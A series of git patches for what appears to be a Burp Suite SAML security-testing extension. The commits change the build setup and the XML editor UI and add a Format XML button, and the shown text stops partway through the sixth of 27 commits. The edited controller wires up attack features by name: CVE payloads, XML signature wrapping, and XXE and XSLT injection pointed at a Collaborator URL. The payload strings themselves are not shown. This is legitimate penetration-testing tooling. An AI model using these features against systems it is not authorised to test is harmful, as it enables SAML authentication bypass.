From 38b0f6c453dfc4248bb8e6514946212701fb5e2d Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:01:41 -0500 Subject: [PATCH 01/27] pin to Java 21 --- build.gradle | 10 ++++++---- gradle.properties | 2 ++ 2 files changed, 8 insertions(+), 4 deletions(-) create mode 100644 gradle.properties diff --git a/build.gradle b/build.gradle index 80d3344..d764c15 100644 --- a/build.gradle +++ b/build.gradle @@ -8,9 +8,11 @@ repositories { mavenCentral() } -compileJava { - targetCompatibility "21" - sourceCompatibility "21" +// Build/compile against Java 21 regardless of system default Java +java { + toolchain { + languageVersion = JavaLanguageVersion.of(21) + } } dependencies { @@ -30,7 +32,7 @@ dependencies { testImplementation libs.org.junit.jupiter } -compileJava { +tasks.withType(JavaCompile).configureEach { options.compilerArgs << "-Xlint:deprecation" } diff --git a/gradle.properties b/gradle.properties new file mode 100644 index 0000000..a88eab0 --- /dev/null +++ b/gradle.properties @@ -0,0 +1,2 @@ +# Force Gradle to run using JDK 21 (required; JDK 25 trips Groovy/Gradle script compilation) +org.gradle.java.home=/opt/homebrew/opt/openjdk@21/libexec/openjdk.jdk/Contents/Home From 3383ea64712e2a3cf4a9bcc8d9ebdd054257bdd7 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:06:54 -0500 Subject: [PATCH 02/27] Make builds cross-platform: remove org.gradle.java.home pin, enable toolchain, bump wrapper to Gradle 9.2.1 --- gradle.properties | 8 ++++++-- gradle/wrapper/gradle-wrapper.properties | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/gradle.properties b/gradle.properties index a88eab0..b6dbb2f 100644 --- a/gradle.properties +++ b/gradle.properties @@ -1,2 +1,6 @@ -# Force Gradle to run using JDK 21 (required; JDK 25 trips Groovy/Gradle script compilation) -org.gradle.java.home=/opt/homebrew/opt/openjdk@21/libexec/openjdk.jdk/Contents/Home +# Keep builds cross-platform. +# This project uses Gradle toolchains (see build.gradle) to compile with Java 21. +# Do NOT hard-pin org.gradle.java.home to a machine-specific path. + +# If a matching JDK isn't installed locally, allow Gradle to auto-provision one. +org.gradle.java.installations.auto-download=true diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index a441313..23449a2 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-8.8-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-9.2.1-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME From 422d92d577d863ab258157198affdf8ae579b09e Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:22:37 -0500 Subject: [PATCH 03/27] Improve SAML editor: prettify XML on load + add syntax-highlighted XML editor --- build.gradle | 1 + gradle/libs.versions.toml | 2 + .../java/application/SamlTabController.java | 61 +++++--- src/main/java/gui/SamlMain.java | 14 +- src/main/java/gui/SamlXmlEditor.java | 142 ++++++++++++++++++ 5 files changed, 190 insertions(+), 30 deletions(-) create mode 100644 src/main/java/gui/SamlXmlEditor.java diff --git a/build.gradle b/build.gradle index d764c15..f73e253 100644 --- a/build.gradle +++ b/build.gradle @@ -25,6 +25,7 @@ dependencies { implementation libs.com.sun.xml.security.xml.security.impl implementation libs.org.apache.santuario.xmlsec implementation libs.xerces.xercesimpl + implementation libs.rsyntaxtextarea testImplementation libs.com.formdev.flatlaf testImplementation libs.net.portswigger.burp.extensions.montoya.api diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 881deb4..f7a43ce 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -8,6 +8,7 @@ org-apache-santuario-xmlsec = "2.1.7" org-bouncycastle-bcpkix-jdk15on = "1.52" org-junit-jupiter = "5.10.2" xerces-xercesimpl = "2.12.2" +rsyntaxtextarea = "3.5.4" [libraries] com-formdev-flatlaf = { module = "com.formdev:flatlaf", version.ref = "com-formdev-flatlaf"} @@ -19,3 +20,4 @@ org-apache-santuario-xmlsec = { module = "org.apache.santuario:xmlsec", version. org-bouncycastle-bcpkix-jdk15on = { module = "org.bouncycastle:bcpkix-jdk15on", version.ref = "org-bouncycastle-bcpkix-jdk15on" } org-junit-jupiter = { module = "org.junit.jupiter:junit-jupiter", version.ref = "org-junit-jupiter" } xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } +rsyntaxtextarea = { module = "com.fifesoft:rsyntaxtextarea", version.ref = "rsyntaxtextarea" } diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index cec7758..0f001d1 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -13,6 +13,7 @@ import gui.CVEHelpWindow; import gui.SamlMain; import gui.SamlPanelInfo; +import gui.SamlXmlEditor; import gui.SignatureHelpWindow; import gui.XSWHelpWindow; import helpers.CVE_2022_41912; @@ -73,7 +74,7 @@ public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Ob private SamlMessageAnalysisResult samlMessageAnalysisResult; private String orgSAMLMessage; private String samlMessage; - private RawEditor textArea; + private SamlXmlEditor textArea; private RawEditor textEditorInformation; private SamlMain samlGUI; private boolean editable; @@ -84,7 +85,7 @@ public SamlTabController(boolean editable, CertificateTabController certificateT this.certificateTabController = requireNonNull(certificateTabController, "certificateTabController"); this.editable = editable; samlGUI = new SamlMain(this); - textArea = samlGUI.getTextEditorAction(); + textArea = samlGUI.getXmlEditorAction(); textArea.setEditable(editable); textEditorInformation = samlGUI.getTextEditorInformation(); textEditorInformation.setEditable(false); @@ -126,7 +127,7 @@ public HttpRequest getRequest() { setInfoMessageText(XML_NOT_WELL_FORMED); } } else { - String textMessage = textArea.getContents().toString(); + String textMessage = textArea.getText(); String parameterToUpdate; if (this.samlMessageAnalysisResult.isWSSMessage()) { @@ -163,7 +164,8 @@ public HttpRequest getRequest() { @Override public Selection selectedData() { - return textArea.selection().orElse(null); + // Our custom XML editor isn't a Montoya Editor, so we don't currently expose selection. + return null; } @Override @@ -199,8 +201,9 @@ public void setRequestResponse(HttpRequestResponse requestResponse) { resetInfoMessageText(); isEdited = false; if (requestResponse == null) { - textArea.setContents(null); + textArea.setText(""); textArea.setEditable(false); + textArea.resetModified(); setGUIEditable(false); resetInformationDisplay(); } else { @@ -258,13 +261,24 @@ public void setRequestResponse(HttpRequestResponse requestResponse) { updateCertificateList(); updateXSWList(); orgSAMLMessage = samlMessage; - textArea.setContents(ByteArray.byteArray(samlMessage)); + + // Show prettified XML (editable) for sanity when working with big SAML blobs. + textArea.setText(prettifyXmlOrFallback(samlMessage)); textArea.setEditable(editable); setGUIEditable(editable); } } + private String prettifyXmlOrFallback(String xml) { + try { + Document doc = xmlHelpers.getXMLDocumentOfSAMLMessage(xml); + return xmlHelpers.getStringOfDocument(doc, 2); + } catch (Exception ignored) { + return xml; + } + } + private void setInformationDisplay() { samlGUI.getTextEditorInformation().setContents(ByteArray.byteArray("")); SamlPanelInfo infoPanel = samlGUI.getInfoPanel(); @@ -311,10 +325,10 @@ private void resetInformationDisplay() { public void removeSignature() { resetInfoMessageText(); try { - Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getContents().toString()); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getText()); if (xmlHelpers.removeAllSignatures(document) > 0) { samlMessage = xmlHelpers.getStringOfDocument(document); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Message signature successful removed"); } else { @@ -329,7 +343,8 @@ public void removeSignature() { public void resetMessage() { samlMessage = orgSAMLMessage; - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + textArea.resetModified(); samlGUI.getStatusPanel().setText(""); isEdited = false; } @@ -340,7 +355,7 @@ public void resignAssertion() { BurpCertificate cert = samlGUI.getActionPanel().getSelectedCertificate(); if (cert != null) { setInfoMessageText("Signing..."); - Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getContents().toString()); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getText()); NodeList assertions = xmlHelpers.getAssertions(document); String signAlgorithm = xmlHelpers.getSignatureAlgorithm(assertions.item(0)); String digestAlgorithm = xmlHelpers.getDigestAlgorithm(assertions.item(0)); @@ -351,7 +366,7 @@ public void resignAssertion() { xmlHelpers.removeEmptyTags(doc); xmlHelpers.signAssertion(doc, signAlgorithm, digestAlgorithm, cert.getCertificate(), cert.getPrivateKey()); samlMessage = xmlHelpers.getStringOfDocument(doc); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Assertions successfully signed"); } else { @@ -378,7 +393,7 @@ public void resignMessage() { setInfoMessageText("Signing..."); BurpCertificate cert = samlGUI.getActionPanel().getSelectedCertificate(); if (cert != null) { - Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getContents().toString()); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getText()); NodeList responses = xmlHelpers.getResponse(document); String signAlgorithm = xmlHelpers.getSignatureAlgorithm(responses.item(0)); String digestAlgorithm = xmlHelpers.getDigestAlgorithm(responses.item(0)); @@ -386,7 +401,7 @@ public void resignMessage() { xmlHelpers.removeOnlyMessageSignature(document); xmlHelpers.signMessage(document, signAlgorithm, digestAlgorithm, cert.getCertificate(), cert.getPrivateKey()); samlMessage = xmlHelpers.getStringOfDocument(document); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("Message successfully signed"); } else { @@ -440,7 +455,7 @@ private void updateXSWList() { public void sendToCertificatesTab() { try { - Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getContents().toString()); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(textArea.getText()); String cert = xmlHelpers.getCertificate(document.getDocumentElement()); if (cert != null) { certificateTabController.importCertificateFromString(cert); @@ -495,25 +510,25 @@ public void applyCVE() { switch (cve) { case CVE_2022_41912.CVE: samlMessage = CVE_2022_41912.apply(orgSAMLMessage); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); break; case CVE_2025_23369.CVE: samlMessage = CVE_2025_23369.apply(orgSAMLMessage); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); break; case CVE_2025_25291.CVE: samlMessage = CVE_2025_25291.apply(orgSAMLMessage); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); break; case CVE_2025_25292.CVE: samlMessage = CVE_2025_25292.apply(orgSAMLMessage); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText("%s applied".formatted(cve)); break; @@ -530,7 +545,7 @@ public void applyXSW() { document = xmlHelpers.getXMLDocumentOfSAMLMessage(orgSAMLMessage); xswHelpers.applyXSW(samlGUI.getActionPanel().getSelectedXSW(), document); samlMessage = xmlHelpers.getStringOfDocument(document); - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText(XSW_ATTACK_APPLIED); } catch (SAXException e) { @@ -551,7 +566,7 @@ public void applyXXE(String collabUrl) { String xmlDeclaration = "\n"; samlMessage = xmlDeclaration + xxePayload + orgSAMLMessage; } - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText(XXE_CONTENT_APPLIED); } @@ -592,7 +607,7 @@ public void applyXSLT(String collabUrl) { String firstPart = orgSAMLMessage.substring(0, substringIndex); String secondPart = orgSAMLMessage.substring(substringIndex); samlMessage = firstPart + xslt + secondPart; - textArea.setContents(ByteArray.byteArray(samlMessage)); + textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; setInfoMessageText(XSLT_CONTENT_APPLIED); } @@ -638,11 +653,11 @@ public void update() { } public String getEditorContents() { - return this.textArea.getContents().toString(); + return this.textArea.getText(); } public void setEditorContents(String text) { this.isEdited = true; - this.textArea.setContents(ByteArray.byteArray(text)); + this.textArea.setText(prettifyXmlOrFallback(text)); } } diff --git a/src/main/java/gui/SamlMain.java b/src/main/java/gui/SamlMain.java index 7016be1..aa52232 100644 --- a/src/main/java/gui/SamlMain.java +++ b/src/main/java/gui/SamlMain.java @@ -18,7 +18,7 @@ public class SamlMain extends JPanel { private final SamlTabController controller; - private RawEditor textEditorAction; + private SamlXmlEditor xmlEditorAction; private RawEditor textEditorInformation; private SamlPanelAction panelAction; private SamlPanelInfo panelInformation; @@ -37,14 +37,14 @@ private void initializeUI() { splitPaneActionTop.setPreferredSize(new Dimension(0, 460)); splitPaneActionTop.add(panelAction); - textEditorAction = BurpExtender.api.userInterface().createRawEditor(); - textEditorAction.setContents(ByteArray.byteArray("")); - textEditorAction.setEditable(false); + xmlEditorAction = new SamlXmlEditor(); + xmlEditorAction.setText(""); + xmlEditorAction.setEditable(false); JPanel splitPaneActionBottom = new JPanel(); splitPaneActionBottom.setLayout(new BorderLayout()); splitPaneActionBottom.setPreferredSize(new Dimension(0, 100)); - splitPaneActionBottom.add(textEditorAction.uiComponent(), BorderLayout.CENTER); + splitPaneActionBottom.add(xmlEditorAction, BorderLayout.CENTER); JSplitPane splitPaneAction = new JSplitPane(); splitPaneAction.setOrientation(JSplitPane.VERTICAL_SPLIT); @@ -91,8 +91,8 @@ private void initializeUI() { updateUI(); } - public RawEditor getTextEditorAction() { - return textEditorAction; + public SamlXmlEditor getXmlEditorAction() { + return xmlEditorAction; } public RawEditor getTextEditorInformation() { diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java new file mode 100644 index 0000000..f4daf48 --- /dev/null +++ b/src/main/java/gui/SamlXmlEditor.java @@ -0,0 +1,142 @@ +package gui; + +import burp.BurpExtender; +import burp.api.montoya.ui.Theme; +import java.awt.BorderLayout; +import java.awt.Color; +import java.awt.Font; +import java.io.Serial; +import java.util.Objects; +import java.util.concurrent.atomic.AtomicBoolean; +import javax.swing.JPanel; +import javax.swing.SwingUtilities; +import javax.swing.event.DocumentEvent; +import javax.swing.event.DocumentListener; +import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; +import org.fife.ui.rsyntaxtextarea.SyntaxConstants; +import org.fife.ui.rtextarea.RTextScrollPane; + +/** + * XML editor with syntax highlighting + Burp theme-aware colors. + */ +public class SamlXmlEditor extends JPanel { + + @Serial + private static final long serialVersionUID = 1L; + + private final RSyntaxTextArea textArea; + private final AtomicBoolean modified = new AtomicBoolean(false); + private volatile boolean suppressModifiedFlag = false; + + public SamlXmlEditor() { + super(new BorderLayout()); + + textArea = new RSyntaxTextArea(20, 80); + textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_XML); + textArea.setCodeFoldingEnabled(true); + textArea.setAntiAliasingEnabled(true); + textArea.setBracketMatchingEnabled(true); + textArea.setAutoIndentEnabled(true); + textArea.setMarkOccurrences(true); + textArea.setTabsEmulated(true); + textArea.setTabSize(2); + + // Font: match Burp editor font if available + Font burpFont = BurpExtender.api.userInterface().currentEditorFont(); + if (burpFont != null) { + textArea.setFont(burpFont); + } + + applyBurpTheme(); + + textArea.getDocument().addDocumentListener(new DocumentListener() { + @Override + public void insertUpdate(DocumentEvent e) { + onChange(); + } + + @Override + public void removeUpdate(DocumentEvent e) { + onChange(); + } + + @Override + public void changedUpdate(DocumentEvent e) { + onChange(); + } + + private void onChange() { + if (!suppressModifiedFlag) { + modified.set(true); + } + } + }); + + var scroll = new RTextScrollPane(textArea); + scroll.setBorder(null); + + add(scroll, BorderLayout.CENTER); + + // Let Burp apply spacing/colors to swing container bits (scrollbars, etc.) + BurpExtender.api.userInterface().applyThemeToComponent(this); + } + + public void applyBurpTheme() { + Theme theme = BurpExtender.api.userInterface().currentTheme(); + + // Conservative palette: readable, high contrast, but not blinding. + if (theme == Theme.DARK) { + textArea.setBackground(new Color(0x1E1F22)); + textArea.setForeground(new Color(0xD6D6D6)); + textArea.setCaretColor(new Color(0xEDEDED)); + textArea.setSelectionColor(new Color(0x264F78)); + textArea.setCurrentLineHighlightColor(new Color(0x2A2D2E)); + textArea.setFadeCurrentLineHighlight(true); + textArea.setLineWrap(false); + textArea.setMarginLineEnabled(false); + } else { + textArea.setBackground(Color.WHITE); + textArea.setForeground(new Color(0x1F2328)); + textArea.setCaretColor(Color.BLACK); + textArea.setSelectionColor(new Color(0xBBDDFF)); + textArea.setCurrentLineHighlightColor(new Color(0xF2F6FF)); + textArea.setFadeCurrentLineHighlight(true); + textArea.setLineWrap(false); + textArea.setMarginLineEnabled(false); + } + + // Repaint on EDT + SwingUtilities.invokeLater(textArea::repaint); + } + + public void setText(String text) { + suppressModifiedFlag = true; + try { + textArea.setText(Objects.requireNonNullElse(text, "")); + textArea.setCaretPosition(0); + modified.set(false); + } finally { + suppressModifiedFlag = false; + } + } + + public String getText() { + return textArea.getText(); + } + + public void setEditable(boolean editable) { + textArea.setEditable(editable); + } + + public boolean isModified() { + return modified.get(); + } + + public void resetModified() { + modified.set(false); + } + + public String selectedText() { + return textArea.getSelectedText(); + } +} From 50a4b20624983048a7d795df0d6f633835e49152 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:26:49 -0500 Subject: [PATCH 04/27] Add Format XML button to SAML Message panel --- src/main/java/application/SamlTabController.java | 12 ++++++++++++ src/main/java/gui/SamlPanelAction.java | 8 +++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index 0f001d1..2e9b478 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -341,6 +341,18 @@ public void removeSignature() { } } + public void formatXml() { + resetInfoMessageText(); + String current = textArea.getText(); + String formatted = prettifyXmlOrFallback(current); + if (formatted.equals(current)) { + setInfoMessageText("XML is already formatted (or not well-formed)"); + } else { + textArea.setText(formatted); + setInfoMessageText("XML formatted"); + } + } + public void resetMessage() { samlMessage = orgSAMLMessage; textArea.setText(prettifyXmlOrFallback(samlMessage)); diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index 93d6b6d..dc72cef 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -37,6 +37,7 @@ public class SamlPanelAction extends JPanel { private SamlTabController controller; private final JButton btnMessageReset = new JButton("Reset Message"); + private final JButton btnFormatXml = new JButton("Format XML"); private final JButton btnXSWHelp = new JButton("Help"); private final JComboBox cmbboxXSW = new JComboBox<>(); @@ -73,10 +74,13 @@ private void initialize() { controller.resetMessage(); }); + btnFormatXml.addActionListener(event -> controller.formatXml()); + var samlMessagePanel = new JPanel(); samlMessagePanel.setBorder(BorderFactory.createTitledBorder("SAML Message")); samlMessagePanel.setLayout(new MigLayout()); - samlMessagePanel.add(btnMessageReset, "wrap"); + samlMessagePanel.add(btnMessageReset, "split 2"); + samlMessagePanel.add(btnFormatXml, "wrap"); btnXSWHelp.addActionListener(event -> controller.showXSWHelp()); @@ -202,6 +206,7 @@ public void disableControls() { btnSendCertificate.setEnabled(false); btnResignMessage.setEnabled(false); btnMatchAndReplace.setEnabled(false); + btnFormatXml.setEnabled(false); btnTestXXE.setEnabled(false); btnTestXSLT.setEnabled(false); cmbboxCVE.setEnabled(false); @@ -222,6 +227,7 @@ public void enableControls() { btnSendCertificate.setEnabled(true); btnResignMessage.setEnabled(true); btnMatchAndReplace.setEnabled(true); + btnFormatXml.setEnabled(true); btnTestXXE.setEnabled(true); btnTestXSLT.setEnabled(true); cmbboxCVE.setEnabled(true); From ca7158484540cc529dc67fec8efd8444ac516c8d Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:33:27 -0500 Subject: [PATCH 05/27] Fix editor editability and remove Parsed & Prettified section - Remove applyThemeToComponent() call that broke RSyntaxTextArea key input - Explicitly set editor as enabled and focusable - Remove redundant Parsed & Prettified panel from SAML Message Info tab --- .../java/application/SamlTabController.java | 10 +------ src/main/java/gui/SamlMain.java | 30 +------------------ src/main/java/gui/SamlXmlEditor.java | 7 +++-- 3 files changed, 7 insertions(+), 40 deletions(-) diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index 2e9b478..bb6a07f 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -8,7 +8,6 @@ import burp.api.montoya.http.message.params.HttpParameterType; import burp.api.montoya.http.message.requests.HttpRequest; import burp.api.montoya.ui.Selection; -import burp.api.montoya.ui.editor.RawEditor; import burp.api.montoya.ui.editor.extension.ExtensionProvidedHttpRequestEditor; import gui.CVEHelpWindow; import gui.SamlMain; @@ -75,7 +74,6 @@ public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Ob private String orgSAMLMessage; private String samlMessage; private SamlXmlEditor textArea; - private RawEditor textEditorInformation; private SamlMain samlGUI; private boolean editable; private XSWHelpers xswHelpers; @@ -87,8 +85,6 @@ public SamlTabController(boolean editable, CertificateTabController certificateT samlGUI = new SamlMain(this); textArea = samlGUI.getXmlEditorAction(); textArea.setEditable(editable); - textEditorInformation = samlGUI.getTextEditorInformation(); - textEditorInformation.setEditable(false); xmlHelpers = new XMLHelpers(); xswHelpers = new XSWHelpers(); this.certificateTabController.addObserver(this); @@ -280,14 +276,11 @@ private String prettifyXmlOrFallback(String xml) { } private void setInformationDisplay() { - samlGUI.getTextEditorInformation().setContents(ByteArray.byteArray("")); SamlPanelInfo infoPanel = samlGUI.getInfoPanel(); infoPanel.clearAll(); try { Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); - String formattedDocumentWithIndentation = xmlHelpers.getStringOfDocument(xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage), 2); - textEditorInformation.setContents(ByteArray.byteArray(formattedDocumentWithIndentation.getBytes())); NodeList assertions = xmlHelpers.getAssertions(document); if (assertions.getLength() > 0) { Node assertion = assertions.item(0); @@ -303,7 +296,7 @@ private void setInformationDisplay() { Node assertion = assertions.item(0); infoPanel.setEncryptionAlgorithm(xmlHelpers.getEncryptionMethod(assertion)); } - } catch (SAXException | IOException e) { + } catch (SAXException e) { setInfoMessageText(XML_NOT_WELL_FORMED); } } @@ -318,7 +311,6 @@ private void resetInformationDisplay() { infoPanel.setSignatureAlgorithm(""); infoPanel.setDigestAlgorithm(""); infoPanel.setEncryptionAlgorithm(""); - textEditorInformation.setContents(ByteArray.byteArray("")); } diff --git a/src/main/java/gui/SamlMain.java b/src/main/java/gui/SamlMain.java index aa52232..878ec65 100644 --- a/src/main/java/gui/SamlMain.java +++ b/src/main/java/gui/SamlMain.java @@ -1,16 +1,11 @@ package gui; import application.SamlTabController; -import burp.BurpExtender; -import burp.api.montoya.core.ByteArray; -import burp.api.montoya.ui.editor.RawEditor; import java.awt.BorderLayout; import java.awt.Dimension; -import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JSplitPane; import javax.swing.JTabbedPane; -import javax.swing.border.EmptyBorder; import static java.util.Objects.requireNonNull; @@ -19,7 +14,6 @@ public class SamlMain extends JPanel { private final SamlTabController controller; private SamlXmlEditor xmlEditorAction; - private RawEditor textEditorInformation; private SamlPanelAction panelAction; private SamlPanelInfo panelInformation; private SamlPanelStatus panelStatus; @@ -59,27 +53,9 @@ private void initializeUI() { splitPaneInformationTop.setPreferredSize(new Dimension(0, 375)); splitPaneInformationTop.add(panelInformation); - textEditorInformation = BurpExtender.api.userInterface().createRawEditor(); - textEditorInformation.setContents(ByteArray.byteArray("")); - - var splitPaneInformationButtomLabel = new JLabel("Parsed & Prettified"); - splitPaneInformationButtomLabel.setBorder(new EmptyBorder(5, 5, 5, 5)); - - JPanel splitPaneInformationBottom = new JPanel(); - splitPaneInformationBottom.setLayout(new BorderLayout()); - splitPaneInformationBottom.setPreferredSize(new Dimension(0, 100)); - splitPaneInformationBottom.add(splitPaneInformationButtomLabel, BorderLayout.NORTH); - splitPaneInformationBottom.add(textEditorInformation.uiComponent(), BorderLayout.CENTER); - - JSplitPane splitPaneInformation = new JSplitPane(); - splitPaneInformation.setOrientation(JSplitPane.VERTICAL_SPLIT); - splitPaneInformation.setLeftComponent((splitPaneInformationTop)); - splitPaneInformation.setRightComponent(splitPaneInformationBottom); - splitPaneInformation.resetToPreferredSizes(); - JTabbedPane tabbedPane = new JTabbedPane(); tabbedPane.addTab("SAML Attacks", null, splitPaneAction, "SAML Attacks"); - tabbedPane.addTab("SAML Message Info", null, splitPaneInformation, "SAML Message Info"); + tabbedPane.addTab("SAML Message Info", null, splitPaneInformationTop, "SAML Message Info"); panelStatus = new SamlPanelStatus(); @@ -95,10 +71,6 @@ public SamlXmlEditor getXmlEditorAction() { return xmlEditorAction; } - public RawEditor getTextEditorInformation() { - return textEditorInformation; - } - public SamlPanelAction getActionPanel() { return panelAction; } diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index f4daf48..9860aa9 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -77,8 +77,9 @@ private void onChange() { add(scroll, BorderLayout.CENTER); - // Let Burp apply spacing/colors to swing container bits (scrollbars, etc.) - BurpExtender.api.userInterface().applyThemeToComponent(this); + // NOTE: do NOT call applyThemeToComponent() here — it recurses into + // RSyntaxTextArea's internal components and can break editability / key bindings. + // We handle theming manually via applyBurpTheme(). } public void applyBurpTheme() { @@ -126,6 +127,8 @@ public String getText() { public void setEditable(boolean editable) { textArea.setEditable(editable); + textArea.setEnabled(true); + textArea.setFocusable(true); } public boolean isModified() { From c504a110e40fceeabd9ad7b7fb8ec91f749bd13e Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:37:21 -0500 Subject: [PATCH 06/27] Switch XML editor to Burp-native RawEditor RSyntaxTextArea had key input issues inside Burp's Swing environment. Replaced with a thin wrapper around Burp's own RawEditor which handles theming, editability, and selection natively. Prettification is preserved. --- .../java/application/SamlTabController.java | 5 +- src/main/java/gui/SamlXmlEditor.java | 127 +++--------------- 2 files changed, 23 insertions(+), 109 deletions(-) diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index bb6a07f..6009ef3 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -160,7 +160,10 @@ public HttpRequest getRequest() { @Override public Selection selectedData() { - // Our custom XML editor isn't a Montoya Editor, so we don't currently expose selection. + String sel = textArea.selectedText(); + if (sel != null && !sel.isEmpty()) { + return Selection.selection(ByteArray.byteArray(sel)); + } return null; } diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index 9860aa9..dd9a7fd 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -1,145 +1,56 @@ package gui; import burp.BurpExtender; -import burp.api.montoya.ui.Theme; +import burp.api.montoya.core.ByteArray; +import burp.api.montoya.ui.editor.EditorOptions; +import burp.api.montoya.ui.editor.RawEditor; import java.awt.BorderLayout; -import java.awt.Color; -import java.awt.Font; import java.io.Serial; -import java.util.Objects; -import java.util.concurrent.atomic.AtomicBoolean; import javax.swing.JPanel; -import javax.swing.SwingUtilities; -import javax.swing.event.DocumentEvent; -import javax.swing.event.DocumentListener; -import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; -import org.fife.ui.rsyntaxtextarea.SyntaxConstants; -import org.fife.ui.rtextarea.RTextScrollPane; /** - * XML editor with syntax highlighting + Burp theme-aware colors. + * Thin wrapper around Burp's native RawEditor that exposes a simple + * String-based API. Burp's editor handles theming, editability, and + * basic syntax colouring automatically. */ public class SamlXmlEditor extends JPanel { @Serial private static final long serialVersionUID = 1L; - private final RSyntaxTextArea textArea; - private final AtomicBoolean modified = new AtomicBoolean(false); - private volatile boolean suppressModifiedFlag = false; + private final RawEditor rawEditor; public SamlXmlEditor() { super(new BorderLayout()); - - textArea = new RSyntaxTextArea(20, 80); - textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_XML); - textArea.setCodeFoldingEnabled(true); - textArea.setAntiAliasingEnabled(true); - textArea.setBracketMatchingEnabled(true); - textArea.setAutoIndentEnabled(true); - textArea.setMarkOccurrences(true); - textArea.setTabsEmulated(true); - textArea.setTabSize(2); - - // Font: match Burp editor font if available - Font burpFont = BurpExtender.api.userInterface().currentEditorFont(); - if (burpFont != null) { - textArea.setFont(burpFont); - } - - applyBurpTheme(); - - textArea.getDocument().addDocumentListener(new DocumentListener() { - @Override - public void insertUpdate(DocumentEvent e) { - onChange(); - } - - @Override - public void removeUpdate(DocumentEvent e) { - onChange(); - } - 